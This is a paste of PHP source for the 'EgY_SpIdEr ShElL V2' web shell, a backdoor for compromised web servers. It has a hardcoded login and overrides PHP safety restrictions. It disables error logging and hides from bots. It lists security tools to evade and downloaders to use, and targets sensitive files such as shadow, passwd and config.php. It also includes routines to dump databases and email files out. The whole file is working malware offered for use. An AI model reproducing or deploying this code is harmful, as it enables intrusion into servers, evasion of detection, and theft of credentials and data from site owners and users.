· 10 years ago · Mar 02, 2016, 09:12 AM
1<?###########################################
2# EgY_SpIdEr ShElL V2 #
3# EgY_SpIdEr #
4# www.egyspider.eu #
5###########################################
6
7
8//Change User & Password
9
10
11$tacfgd['uname'] = 'Admin'; #CHANGME
12$tacfgd['pword'] = 'Password'; #CHANGME
13
14
15
16
17// Title of page.
18$tacfgd['title'] = 'R0XEM ShElL';
19
20
21// Text to appear just above login form.
22$tacfgd['helptext'] = 'R0XEM ShElL';
23
24
25
26
27// Set to true to enable the optional remember-me feature, which stores encrypted login details to
28// allow users to be logged-in automatically on their return. Turn off for a little extra security.
29$tacfgd['allowrm'] = true;
30
31
32// If you have multiple protected pages, and there's more than one username / password combination,
33// you need to group each combination under a distinct rmgroup so that the remember-me feature
34// knows which login details to use.
35$tacfgd['rmgroup'] = 'default';
36
37
38// Set to true if you use your own sessions within your protected page, to stop txtAuth interfering.
39// In this case, you _must_ call session_start() before you require() txtAuth. Logging out will not
40// destroy the session, so that is left up to you.
41$tacfgd['ownsessions'] = false;
42
43
44
45
46
47
48
49
50foreach ($tacfgd as $key => $val) {
51 if (!isset($tacfg[$key])) $tacfg[$key] = $val;
52}
53
54
55if (!$tacfg['ownsessions']) {
56 session_name('txtauth');
57 session_start();
58}
59
60
61// Logout attempt made. Deletes any remember-me cookie as well
62if (isset($_GET['logout']) || isset($_POST['logout'])) {
63 setcookie('txtauth_'.$rmgroup, '', time()-86400*14);
64 if (!$tacfg['ownsessions']) {
65 $_SESSION = array();
66 session_destroy();
67 }
68 else $_SESSION['txtauthin'] = false;
69}
70// Login attempt made
71elseif (isset($_POST['login'])) {
72 if ($_POST['uname'] == $tacfg['uname'] && $_POST['pword'] == $tacfg['pword']) {
73 $_SESSION['txtauthin'] = true;
74 if ($_POST['rm']) {
75 // Set remember-me cookie for 2 weeks
76 setcookie('txtauth_'.$rmgroup, md5($tacfg['uname'].$tacfg['pword']), time()+86400*14);
77 }
78 }
79 else $err = 'Login Faild !';
80}
81// Remember-me cookie exists
82elseif (isset($_COOKIE['txtauth_'.$rmgroup])) {
83 if (md5($tacfg['uname'].$tacfg['pword']) == $_COOKIE['txtauth_'.$rmgroup] && $tacfg['allowrm']) {
84 $_SESSION['txtauthin'] = true;
85 }
86 else $err = 'Login Faild !';
87}
88if (!$_SESSION['txtauthin']) {
89@ini_restore("safe_mode");
90@ini_restore("open_basedir");
91@ini_restore("safe_mode_include_dir");
92@ini_restore("safe_mode_exec_dir");
93@ini_restore("disable_functions");
94@ini_restore("allow_url_fopen");
95
96
97@ini_set('error_log',NULL);
98@ini_set('log_errors',0);
99?>
100<html dir=rtl>
101<head>
102<meta http-equiv="Content-Type" content="text/html; charset=windows-1256">
103<title><?=$tacfg['title']?></title>
104
105
106<STYLE>
107
108
109BODY
110 {
111 SCROLLBAR-FACE-COLOR: #000000; SCROLLBAR-HIGHLIGHT-COLOR: #000000; SCROLLBAR-SHADOW-COLOR: #000000; COLOR: #666666; SCROLLBAR-3DLIGHT-COLOR: #726456; SCROLLBAR-ARROW-COLOR: #726456; SCROLLBAR-TRACK-COLOR: #292929; FONT-FAMILY: Verdana; SCROLLBAR-DARKSHADOW-COLOR: #726456
112}
113
114
115tr {
116BORDER-RIGHT: #dadada ;
117BORDER-TOP: #dadada ;
118BORDER-LEFT: #dadada ;
119BORDER-BOTTOM: #dadada ;
120color: #ffffff;
121}
122td {
123BORDER-RIGHT: #dadada ;
124BORDER-TOP: #dadada ;
125BORDER-LEFT: #dadada ;
126BORDER-BOTTOM: #dadada ;
127color: #dadada;
128}
129.table1 {
130BORDER: 1;
131BACKGROUND-COLOR: #000000;
132color: #333333;
133}
134.td1 {
135BORDER: 1;
136font: 7pt tahoma;
137color: #ffffff;
138}
139.tr1 {
140BORDER: 1;
141color: #dadada;
142}
143table {
144BORDER: #eeeeee outset;
145BACKGROUND-COLOR: #000000;
146color: #dadada;
147}
148input {
149BORDER-RIGHT: #00FF00 1 solid;
150BORDER-TOP: #00FF00 1 solid;
151BORDER-LEFT: #00FF00 1 solid;
152BORDER-BOTTOM: #00FF00 1 solid;
153BACKGROUND-COLOR: #333333;
154font: 9pt tahoma;
155color: #ffffff;
156}
157select {
158BORDER-RIGHT: #ffffff 1 solid;
159BORDER-TOP: #999999 1 solid;
160BORDER-LEFT: #999999 1 solid;
161BORDER-BOTTOM: #ffffff 1 solid;
162BACKGROUND-COLOR: #000000;
163font: 9pt tahoma;
164color: #dadada;;
165}
166submit {
167BORDER: buttonhighlight 1 outset;
168BACKGROUND-COLOR: #272727;
169width: 40%;
170color: #dadada;
171}
172textarea {
173BORDER-RIGHT: #ffffff 1 solid;
174BORDER-TOP: #999999 1 solid;
175BORDER-LEFT: #999999 1 solid;
176BORDER-BOTTOM: #ffffff 1 solid;
177BACKGROUND-COLOR: #333333;
178font: Fixedsys bold;
179color: #ffffff;
180}
181BODY {
182margin: 1;
183color: #dadada;
184background-color: #000000;
185}
186A:link {COLOR:red; TEXT-DECORATION: none}
187A:visited { COLOR:red; TEXT-DECORATION: none}
188A:active {COLOR:red; TEXT-DECORATION: none}
189A:hover {color:blue;TEXT-DECORATION: none}
190
191
192</STYLE>
193<script language=\'javascript\'>
194function hide_div(id)
195{
196 document.getElementById(id).style.display = \'none\';
197 document.cookie=id+\'=0;\';
198}
199function show_div(id)
200{
201 document.getElementById(id).style.display = \'block\';
202 document.cookie=id+\'=1;\';
203}
204function change_divst(id)
205{
206 if (document.getElementById(id).style.display == \'none\')
207 show_div(id);
208 else
209 hide_div(id);
210}
211</script>';
212
213
214<body>
215<br><br><div style="font-size: 14pt;" align="center"><?=$tacfg['title']?></div>
216<hr width="300" size="1" noshade color="#cdcdcd">
217<p>
218<div align="center" class="grey">
219<?=$tacfg['helptext']?>
220</div>
221<p>
222<?
223if (isset($_SERVER['REQUEST_URI'])) $action = $_SERVER['REQUEST_URI'];
224else $action = $_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'];
225if (strpos($action, 'logout=1', strpos($action, '?')) !== false) $action = str_replace('logout=1', '', $action);
226?>
227<form name="txtauth" action="<?=$action?>" method="post">
228<div align="center">
229<table border="0" cellpadding="4" cellspacing="0" bgcolor="#666666" style="border: 1px double #dedede;" dir="ltr">
230<?=(isset($err))?'<tr><td colspan="2" align="center"><font color="red">'.$err.'</font></td></tr>':''?>
231<?if (isset($tacfg['uname'])) {?>
232<tr><td>User:</td><td><input type="text" name="uname" value="" size="20" maxlength="100" class="txtbox"></td></tr>
233<?}?>
234<tr><td>Password:</td><td><input type="password" name="pword" value="" size="20" maxlength="100" class="txtbox"></td></tr>
235<?if ($tacfg['allowrm']) {?>
236<tr><td align="left"><input type="submit" name="login" value="Login">
237</td><td align="right"><input type="checkbox" name="rm" id="rm"><label for="rm">
238 Remmeber Me?</label></td></tr>
239<?} else {?>
240<tr><td colspan="2" align="center">
241 <input type="submit" name="login" value="Login"></td></tr>
242<?}?>
243</table>
244</div>
245</form>
246
247
248<br><br>
249<hr width="300" size="1" noshade color="#cdcdcd">
250<div class="smalltxt" align="center">Developed by
251 <a href="mailto:egy_spider@hotmail.com">EgY SpIdEr </a>· copyright ©
252 & EgY SpIdEr</div>
253
254
255</body>
256</html>
257<?
258 // Don't delete this!
259 exit();
260}
261?>
262Login As (<font color="#FF0000"><? echo $tacfgd['uname']; ?></font>) <a href="?logout=1">Logout</a></p>
263<div align="right">
264<?php
265
266
267if(preg_match("/bot/", $_SERVER[HTTP_USER_AGENT])) {header("HTTP/1.0 404");exit("<h1>Not Found</h1>");}
268
269
270$language='eng';
271
272
273$auth = 0;
274
275
276$name='7d1f6442a9ed59e62f93dcbc2695baa6';
277$pass='7d1f6442a9ed59e62f93dcbc2695baa6';
278
279
280//ru_RU, //ru_RU.cp1251, //ru_RU.iso88595, //ru_RU.koi8r, //ru_RU.utf8
281@setlocale(LC_ALL,'ru_RU.cp1251');
282
283
284@ini_restore("safe_mode");
285@ini_restore("open_basedir");
286@ini_restore("safe_mode_include_dir");
287@ini_restore("safe_mode_exec_dir");
288@ini_restore("disable_functions");
289@ini_restore("allow_url_fopen");
290
291
292if(@function_exists('ini_set'))
293 {
294 @ini_set('error_log',NULL);
295 @ini_set('log_errors',0);
296 @ini_set('file_uploads',1);
297 @ini_set('allow_url_fopen',1);
298 }
299else
300 {
301 @ini_alter('error_log',NULL);
302 @ini_alter('log_errors',0);
303 @ini_alter('file_uploads',1);
304 @ini_alter('allow_url_fopen',1);
305 }
306
307error_reporting(E_ALL);
308
309
310/* ??? ????? */
311$userful = array('gcc',', lcc',', cc',', ld',', php',', perl',', python',', ruby',', make',', tar',', gzip',', bzip',', bzip2',', nc',', locate',', suidperl');
312$danger = array(', kav',', nod32',', bdcored',', uvscan',', sav',', drwebd',', clamd',', rkhunter',', chkrootkit',', iptables',', ipfw',', tripwire',', shieldcc',', portsentry',', snort',', ossec',', lidsadm',', tcplodg',', sxid',', logcheck',', logwatch',', sysmask',', zmbscap',', sawmill',', wormscan',', ninja');
313$tempdirs = array(@ini_get('session.save_path').'/',@ini_get('upload_tmp_dir').'/','/tmp/','/dev/shm/','/var/tmp/');
314$downloaders = array('wget','fetch','lynx','links','curl','get');
315
316
317/* ??? ?????? ???????? ???? ????? realpath() */
318//$chars_rlph = "_-.01234567890abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
319//$chars_rlph = "_-.01234567890abcdefghijklnmopqrstuvwxyz";
320//$chars_rlph = "_-.ABCDEFGHIJKLMNOPQRSTUVWXYZ";
321//$chars_rlph = "_-.abcdefghijklnmopqrstuvwxyz";
322//$chars_rlph = "_-.01234567890";
323$chars_rlph = "abcdefghijklnmopqrstuvwxyz";
324
325
326$presets_rlph = array('index.php','.htaccess','.htpasswd','httpd.conf','vhosts.conf','cfg.php','config.php','config.inc.php','config.default.php','config.inc.php',
327'shadow','passwd','.bash_history','.mysql_history','master.passwd','user','admin','password','administrator','phpMyAdmin','security','php.ini','cdrom','root',
328'my.cnf','pureftpd.conf','proftpd.conf','ftpd.conf','resolv.conf','login.conf','smb.conf','sysctl.conf','syslog.conf','access.conf','accounting.log','home','htdocs',
329'access','auth','error','backup','data','back','sysconfig','phpbb','phpbb2','vbulletin','vbullet','phpnuke','cgi-bin','html','robots.txt','billing');
330
331
332/******************************************************************************************************/
333
334
335define("starttime",@getmicrotime());
336
337
338if((!@function_exists('ini_get')) || (@ini_get('open_basedir')!=NULL) || (@ini_get('safe_mode_include_dir')!=NULL)){$open_basedir=1;} else{$open_basedir=0;};
339
340
341set_magic_quotes_runtime(0);
342@set_time_limit(0);
343if(@function_exists('ini_set'))
344 {
345 @ini_set('max_execution_time',0);
346 @ini_set('output_buffering',0);
347 }
348else
349 {
350 @ini_alter('max_execution_time',0);
351 @ini_alter('output_buffering',0);
352 }
353$safe_mode = @ini_get('safe_mode');
354#if(@function_exists('ini_get')){$safe_mode = @ini_get('safe_mode');}else{$safe_mode=1;};
355$version = '1.42';
356if(@version_compare(@phpversion(), '4.1.0') == -1)
357 {
358 $_POST = &$HTTP_POST_VARS;
359 $_GET = &$HTTP_GET_VARS;
360 $_SERVER = &$HTTP_SERVER_VARS;
361 $_COOKIE = &$HTTP_COOKIE_VARS;
362 }
363if (@get_magic_quotes_gpc())
364 {
365 foreach ($_POST as $k=>$v)
366 {
367 $_POST[$k] = stripslashes($v);
368 }
369 foreach ($_COOKIE as $k=>$v)
370 {
371 $_COOKIE[$k] = stripslashes($v);
372 }
373 }
374
375
376if($auth == 1) {
377if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass)
378 {
379 header('WWW-Authenticate: Basic realm="HELLO!"');
380 header('HTTP/1.0 401 Unauthorized');
381 exit("<h1>Access Denied</h1>");
382 }
383}
384
385
386if(!isset($_COOKIE['tempdir'],$_COOKIE['select_tempdir'])) {
387 $tempdir='./';
388 $select_tempdir = '<select name=tempdir><option value="./">./</option>';
389 foreach( $tempdirs as $item) {
390 if(@is_writable($item)){$select_tempdir .= '<option value="'.$item.'">'.$item.'</option>';$tempdir=$item;}
391 }
392 $select_tempdir .= '</select>';
393}else{
394 if(isset($_POST['tempdir'])){$tempdir = $_POST['tempdir'];}else{$tempdir = $_COOKIE['tempdir'];}
395 $select_tempdir = $_COOKIE['select_tempdir'];
396}
397
398
399$head = '<!-- EgY_SpIdEr -->
400<html>
401<head>
402<meta http-equiv="Content-Language" content="ar-sa">
403<meta name="GENERATOR" content="Microsoft FrontPage 6.0">
404<meta name="ProgId" content="FrontPage.Editor.Document">
405<meta http-equiv="Content-Type" content="text/html; charset=windows-1256">
406<title>EgY_SpIdEr ShElL</title>
407
408
409
410
411
412
413<STYLE>
414
415
416BODY
417 {
418 SCROLLBAR-FACE-COLOR: #000000; SCROLLBAR-HIGHLIGHT-COLOR: #000000; SCROLLBAR-SHADOW-COLOR: #000000; COLOR: #666666; SCROLLBAR-3DLIGHT-COLOR: #726456; SCROLLBAR-ARROW-COLOR: #726456; SCROLLBAR-TRACK-COLOR: #292929; FONT-FAMILY: Verdana; SCROLLBAR-DARKSHADOW-COLOR: #726456
419}
420
421
422tr {
423BORDER-RIGHT: #333333 ;
424BORDER-TOP: #333333 ;
425BORDER-LEFT: #333333 ;
426BORDER-BOTTOM: #333333 ;
427color: #FFFFFF;
428}
429td {
430BORDER-RIGHT: #333333 ;
431BORDER-TOP: #333333 ;
432BORDER-LEFT: #333333 ;
433BORDER-BOTTOM: #333333 ;
434color: #FFFFFF;
435}
436.table1 {
437BORDER: 1;
438BACKGROUND-COLOR: #000000;
439color: #333333;
440}
441.td1 {
442BORDER: 1;
443font: 7pt tahoma;
444color: #ffffff;
445}
446.tr1 {
447BORDER: 1;
448color: #333333;
449}
450table {
451BORDER: #eeeeee outset;
452BACKGROUND-COLOR: #000000;
453color: #333333;
454}
455input {
456BORDER-RIGHT: #00FF00 1 solid;
457BORDER-TOP: #00FF00 1 solid;
458BORDER-LEFT: #00FF00 1 solid;
459BORDER-BOTTOM: #00FF00 1 solid;
460BACKGROUND-COLOR: #333333;
461font: 9pt tahoma;
462color: #ffffff;
463}
464select {
465BORDER-RIGHT: #ffffff 1 solid;
466BORDER-TOP: #999999 1 solid;
467BORDER-LEFT: #999999 1 solid;
468BORDER-BOTTOM: #ffffff 1 solid;
469BACKGROUND-COLOR: #000000;
470font: 9pt tahoma;
471color: #333333;;
472}
473submit {
474BORDER: buttonhighlight 1 outset;
475BACKGROUND-COLOR: #272727;
476width: 40%;
477color: #333333;
478}
479textarea {
480BORDER-RIGHT: #ffffff 1 solid;
481BORDER-TOP: #999999 1 solid;
482BORDER-LEFT: #999999 1 solid;
483BORDER-BOTTOM: #ffffff 1 solid;
484BACKGROUND-COLOR: #333333;
485font: Fixedsys bold;
486color: #ffffff;
487}
488BODY {
489margin: 1;
490color: #333333;
491background-color: #000000;
492}
493A:link {COLOR:red; TEXT-DECORATION: none}
494A:visited { COLOR:red; TEXT-DECORATION: none}
495A:active {COLOR:red; TEXT-DECORATION: none}
496A:hover {color:blue;TEXT-DECORATION: none}
497
498
499</STYLE>
500<script language=\'javascript\'>
501function hide_div(id)
502{
503 document.getElementById(id).style.display = \'none\';
504 document.cookie=id+\'=0;\';
505}
506function show_div(id)
507{
508 document.getElementById(id).style.display = \'block\';
509 document.cookie=id+\'=1;\';
510}
511function change_divst(id)
512{
513 if (document.getElementById(id).style.display == \'none\')
514 show_div(id);
515 else
516 hide_div(id);
517}
518</script>';
519class zipfile
520{
521 var $datasec = array();
522 var $ctrl_dir = array();
523 var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
524 var $old_offset = 0;
525 function unix2DosTime($unixtime = 0) {
526 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
527 if ($timearray['year'] < 1980) {
528 $timearray['year'] = 1980;
529 $timearray['mon'] = 1;
530 $timearray['mday'] = 1;
531 $timearray['hours'] = 0;
532 $timearray['minutes'] = 0;
533 $timearray['seconds'] = 0;
534 }
535 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
536 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
537 }
538 function addFile($data, $name, $time = 0)
539 {
540 $name = str_replace('\\', '/', $name);
541 $dtime = dechex($this->unix2DosTime($time));
542 $hexdtime = '\x' . $dtime[6] . $dtime[7]
543 . '\x' . $dtime[4] . $dtime[5]
544 . '\x' . $dtime[2] . $dtime[3]
545 . '\x' . $dtime[0] . $dtime[1];
546 eval('$hexdtime = "' . $hexdtime . '";');
547 $fr = "\x50\x4b\x03\x04";
548 $fr .= "\x14\x00";
549 $fr .= "\x00\x00";
550 $fr .= "\x08\x00";
551 $fr .= $hexdtime;
552 $unc_len = strlen($data);
553 $crc = crc32($data);
554 $zdata = gzcompress($data);
555 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
556 $c_len = strlen($zdata);
557 $fr .= pack('V', $crc);
558 $fr .= pack('V', $c_len);
559 $fr .= pack('V', $unc_len);
560 $fr .= pack('v', strlen($name));
561 $fr .= pack('v', 0);
562 $fr .= $name;
563 $fr .= $zdata;
564 $this -> datasec[] = $fr;
565 $cdrec = "\x50\x4b\x01\x02";
566 $cdrec .= "\x00\x00";
567 $cdrec .= "\x14\x00";
568 $cdrec .= "\x00\x00";
569 $cdrec .= "\x08\x00";
570 $cdrec .= $hexdtime;
571 $cdrec .= pack('V', $crc);
572 $cdrec .= pack('V', $c_len);
573 $cdrec .= pack('V', $unc_len);
574 $cdrec .= pack('v', strlen($name) );
575 $cdrec .= pack('v', 0 );
576 $cdrec .= pack('v', 0 );
577 $cdrec .= pack('v', 0 );
578 $cdrec .= pack('v', 0 );
579 $cdrec .= pack('V', 32 );
580 $cdrec .= pack('V', $this -> old_offset );
581 $this -> old_offset += strlen($fr);
582 $cdrec .= $name;
583 $this -> ctrl_dir[] = $cdrec;
584 }
585 function file()
586 {
587 $data = implode('', $this -> datasec);
588 $ctrldir = implode('', $this -> ctrl_dir);
589 return
590 $data .
591 $ctrldir .
592 $this -> eof_ctrl_dir .
593 pack('v', sizeof($this -> ctrl_dir)) .
594 pack('v', sizeof($this -> ctrl_dir)) .
595 pack('V', strlen($ctrldir)) .
596 pack('V', strlen($data)) .
597 "\x00\x00";
598 }
599}
600
601
602function compress(&$filename,&$filedump,$compress)
603 {
604 global $content_encoding;
605 global $mime_type;
606 if ($compress == 'bzip' && @function_exists('bzcompress'))
607 {
608 $filename .= '.bz2';
609 $mime_type = 'application/x-bzip2';
610 $filedump = bzcompress($filedump);
611 }
612 else if ($compress == 'gzip' && @function_exists('gzencode'))
613 {
614 $filename .= '.gz';
615 $content_encoding = 'x-gzip';
616 $mime_type = 'application/x-gzip';
617 $filedump = gzencode($filedump);
618 }
619 else if ($compress == 'zip' && @function_exists('gzcompress'))
620 {
621 $filename .= '.zip';
622 $mime_type = 'application/zip';
623 $zipfile = new zipfile();
624 $zipfile -> addFile($filedump, substr($filename, 0, -4));
625 $filedump = $zipfile -> file();
626 }
627 else
628 {
629 $mime_type = 'application/octet-stream';
630 }
631 }
632
633
634function moreread($temp){
635global $lang,$language;
636$str='';
637 if(@function_exists('fopen')&&@function_exists('feof')&&@function_exists('fgets')&&@function_exists('feof')&&@function_exists('fclose') && ($ffile = @fopen($temp, "r"))){
638 if($ffile){
639 while(!@feof($ffile)){$str .= @fgets($ffile);};
640 fclose($ffile);
641 }
642 }elseif(@function_exists('fopen')&&@function_exists('fread')&&@function_exists('fclose')&&@function_exists('filesize')&&($ffile = @fopen($temp, "r"))){
643 if($ffile){
644 $str = @fread($ffile, @filesize($temp));
645 @fclose($ffile);
646 }
647 }elseif(@function_exists('file')&&($ffiles = @file($temp))){
648 foreach ($ffiles as $ffile) { $str .= $ffile; }
649 }elseif(@function_exists('file_get_contents')){
650 $str = @file_get_contents($temp);
651 }elseif(@function_exists('readfile')){
652 $str = @readfile($temp);
653 }elseif(@function_exists('highlight_file')){
654 $str = @highlight_file($temp);
655 }elseif(@function_exists('show_source')){
656 $str = @show_source($temp);
657 }else{echo $lang[$language.'_text56'];}
658return $str;
659}
660
661
662function readzlib($filename,$temp=''){
663global $lang,$language;
664$str='';
665 if(!$temp) {$temp=tempnam(@getcwd(), "copytemp");};
666 if(@copy("compress.zlib://".$filename, $temp)) {
667 $str = moreread($temp);
668 } else echo $lang[$language.'_text119'];
669 @unlink($temp);
670return $str;
671}
672
673
674function morewrite($temp,$str='')
675{
676global $lang,$language;
677 if(@function_exists('fopen') && @function_exists('fwrite') && @function_exists('fclose') && ($ffile=@fopen($temp,"wb"))){
678 if($ffile){
679 @fwrite($ffile,$str);
680 @fclose($ffile);
681 }
682 }elseif(@function_exists('fopen') && @function_exists('fputs') && @function_exists('fclose') && ($ffile=@fopen($temp,"wb"))){
683 if($ffile){
684 @fputs($ffile,$str);
685 @fclose($ffile);
686 }
687 }elseif(@function_exists('file_put_contents')){
688 @file_put_contents($temp,$str);
689 }else return 0;
690return 1;
691}
692
693
694function mailattach($to,$from,$subj,$attach)
695 {
696 $headers = "From: $from\r\n";
697 $headers .= "MIME-Version: 1.0\r\n";
698 $headers .= "Content-Type: ".$attach['type'];
699 $headers .= "; name=\"".$attach['name']."\"\r\n";
700 $headers .= "Content-Transfer-Encoding: base64\r\n\r\n";
701 $headers .= chunk_split(base64_encode($attach['content']))."\r\n";
702 if(mail($to,$subj,"",$headers)) { return 1; }
703 return 0;
704 }
705class my_sql
706 {
707 var $host = 'localhost';
708 var $port = '';
709 var $user = '';
710 var $pass = '';
711 var $base = '';
712 var $db = '';
713 var $connection;
714 var $res;
715 var $error;
716 var $rows;
717 var $columns;
718 var $num_rows;
719 var $num_fields;
720 var $dump;
721
722 function connect()
723 {
724 switch($this->db)
725 {
726 case 'MySQL':
727 if(empty($this->port)) { $this->port = '3306'; }
728 if(!@function_exists('mysql_connect')) return 0;
729 $this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass);
730 if(is_resource($this->connection)) return 1;
731 break;
732 case 'MSSQL':
733 if(empty($this->port)) { $this->port = '1433'; }
734 if(!@function_exists('mssql_connect')) return 0;
735 $this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass);
736 if($this->connection) return 1;
737 break;
738 case 'PostgreSQL':
739 if(empty($this->port)) { $this->port = '5432'; }
740 $str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'";
741 if(!@function_exists('pg_connect')) return 0;
742 $this->connection = @pg_connect($str);
743 if(is_resource($this->connection)) return 1;
744 break;
745 case 'Oracle':
746 if(!@function_exists('ocilogon')) return 0;
747 $this->connection = @ocilogon($this->user, $this->pass, $this->base);
748 if(is_resource($this->connection)) return 1;
749 break;
750 case 'MySQLi':
751 if(empty($this->port)) { $this->port = '3306'; }
752 if(!@function_exists('mysqli_connect')) return 0;
753 $this->connection = @mysqli_connect($this->host,$this->user,$this->pass,$this->base,$this->port);
754 if(is_resource($this->connection)) return 1;
755 break;
756 case 'mSQL':
757 if(!@function_exists('msql_connect')) return 0;
758 $this->connection = @msql_connect($this->host.':'.$this->port,$this->user,$this->pass);
759 if(is_resource($this->connection)) return 1;
760 break;
761 case 'SQLite':
762 if(!@function_exists('sqlite_open')) return 0;
763 $this->connection = @sqlite_open($this->base);
764 if(is_resource($this->connection)) return 1;
765 break;
766 }
767 return 0;
768 }
769
770 function select_db()
771 {
772 switch($this->db)
773 {
774 case 'MySQL':
775 if(@mysql_select_db($this->base,$this->connection)) return 1;
776 break;
777 case 'MSSQL':
778 if(@mssql_select_db($this->base,$this->connection)) return 1;
779 break;
780 case 'PostgreSQL':
781 return 1;
782 break;
783 case 'Oracle':
784 return 1;
785 break;
786 case 'MySQLi':
787 return 1;
788 break;
789 case 'mSQL':
790 if(@msql_select_db($this->base,$this->connection)) return 1;
791 break;
792 case 'SQLite':
793 return 1;
794 break;
795 }
796 return 0;
797 }
798
799 function query($query)
800 {
801 $this->res=$this->error='';
802 switch($this->db)
803 {
804 case 'MySQL':
805 if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection)))
806 {
807 $this->error = @mysql_error($this->connection);
808 return 0;
809 }
810 else if(is_resource($this->res)) { return 1; }
811 return 2;
812 break;
813 case 'MSSQL':
814 if(false===($this->res=@mssql_query($query,$this->connection)))
815 {
816 $this->error = 'Query error';
817 return 0;
818 }
819 else if(@mssql_num_rows($this->res) > 0) { return 1; }
820 return 2;
821 break;
822 case 'PostgreSQL':
823 if(false===($this->res=@pg_query($this->connection,$query)))
824 {
825 $this->error = @pg_last_error($this->connection);
826 return 0;
827 }
828 else if(@pg_num_rows($this->res) > 0) { return 1; }
829 return 2;
830 break;
831 case 'Oracle':
832 if(false===($this->res=@ociparse($this->connection,$query)))
833 {
834 $this->error = 'Query parse error';
835 }
836 else
837 {
838 if(@ociexecute($this->res))
839 {
840 if(@ocirowcount($this->res) != 0) return 2;
841 return 1;
842 }
843 $error = @ocierror();
844 $this->error=$error['message'];
845 }
846 break;
847 case 'MySQLi':
848 if(false===($this->res=@mysqli_query($this->connection,$query)))
849 {
850 $this->error = @mysqli_error($this->connection);
851 return 0;
852 }
853 else if(is_resource($this->res)) { return 1; }
854 return 2;
855 break;
856 case 'mSQL':
857 if(false===($this->res=@msql_query($query,$this->connection)))
858 {
859 $this->error = @msql_error($this->connection);
860 return 0;
861 }
862 else if(is_resource($this->res)) { return 1; }
863 return 2;
864 break;
865 case 'SQLite':
866 if(false===($this->res=@sqlite_query($this->connection,$query)))
867 {
868 $this->error = @sqlite_error_string($this->connection);
869 return 0;
870 }
871 else if(is_resource($this->res)) { return 1; }
872 return 2;
873 break;
874 }
875 return 0;
876 }
877 function get_result()
878 {
879 $this->rows=array();
880 $this->columns=array();
881 $this->num_rows=$this->num_fields=0;
882 switch($this->db)
883 {
884 case 'MySQL':
885 $this->num_rows=@mysql_num_rows($this->res);
886 $this->num_fields=@mysql_num_fields($this->res);
887 while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res)));
888 @mysql_free_result($this->res);
889 if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
890 break;
891 case 'MSSQL':
892 $this->num_rows=@mssql_num_rows($this->res);
893 $this->num_fields=@mssql_num_fields($this->res);
894 while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res)));
895 @mssql_free_result($this->res);
896 if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;};
897 break;
898 case 'PostgreSQL':
899 $this->num_rows=@pg_num_rows($this->res);
900 $this->num_fields=@pg_num_fields($this->res);
901 while(false !== ($this->rows[] = @pg_fetch_assoc($this->res)));
902 @pg_free_result($this->res);
903 if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
904 break;
905 case 'Oracle':
906 $this->num_fields=@ocinumcols($this->res);
907 while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++;
908 @ocifreestatement($this->res);
909 if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
910 break;
911 case 'MySQLi':
912 $this->num_rows=@mysqli_num_rows($this->res);
913 $this->num_fields=@mysqli_num_fields($this->res);
914 while(false !== ($this->rows[] = @mysqli_fetch_assoc($this->res)));
915 @mysqli_free_result($this->res);
916 if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
917 break;
918 case 'mSQL':
919 $this->num_rows=@msql_num_rows($this->res);
920 $this->num_fields=@msql_num_fields($this->res);
921 while(false !== ($this->rows[] = @msql_fetch_array($this->res)));
922 @msql_free_result($this->res);
923 if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
924 break;
925 case 'SQLite':
926 $this->num_rows=@sqlite_num_rows($this->res);
927 $this->num_fields=@sqlite_num_fields($this->res);
928 while(false !== ($this->rows[] = @sqlite_fetch_array($this->res)));
929 if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
930 break;
931 }
932 return 0;
933 }
934 function dump($table)
935 {
936 if(empty($table)) return 0;
937 $this->dump=array();
938 $this->dump[0] = '##';
939 $this->dump[1] = '## --------------------------------------- ';
940 $this->dump[2] = '## Created: '.date ("d/m/Y H:i:s");
941 $this->dump[3] = '## Database: '.$this->base;
942 $this->dump[4] = '## Table: '.$table;
943 $this->dump[5] = '## --------------------------------------- ';
944 switch($this->db)
945 {
946 case 'MySQL':
947 $this->dump[0] = '## MySQL dump';
948 if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0;
949 if(!$this->get_result()) return 0;
950 $this->dump[] = $this->rows[0]['Create Table'];
951 $this->dump[] = '## --------------------------------------- ';
952 if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0;
953 if(!$this->get_result()) return 0;
954 for($i=0;$i<$this->num_rows;$i++)
955 {
956 foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysql_real_escape_string($v);}
957 $this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `", $this->columns).'`) VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
958 }
959 break;
960 case 'MSSQL':
961 $this->dump[0] = '## MSSQL dump';
962 if($this->query('SELECT * FROM '.$table)!=1) return 0;
963 if(!$this->get_result()) return 0;
964 for($i=0;$i<$this->num_rows;$i++)
965 {
966 foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
967 $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
968 }
969 break;
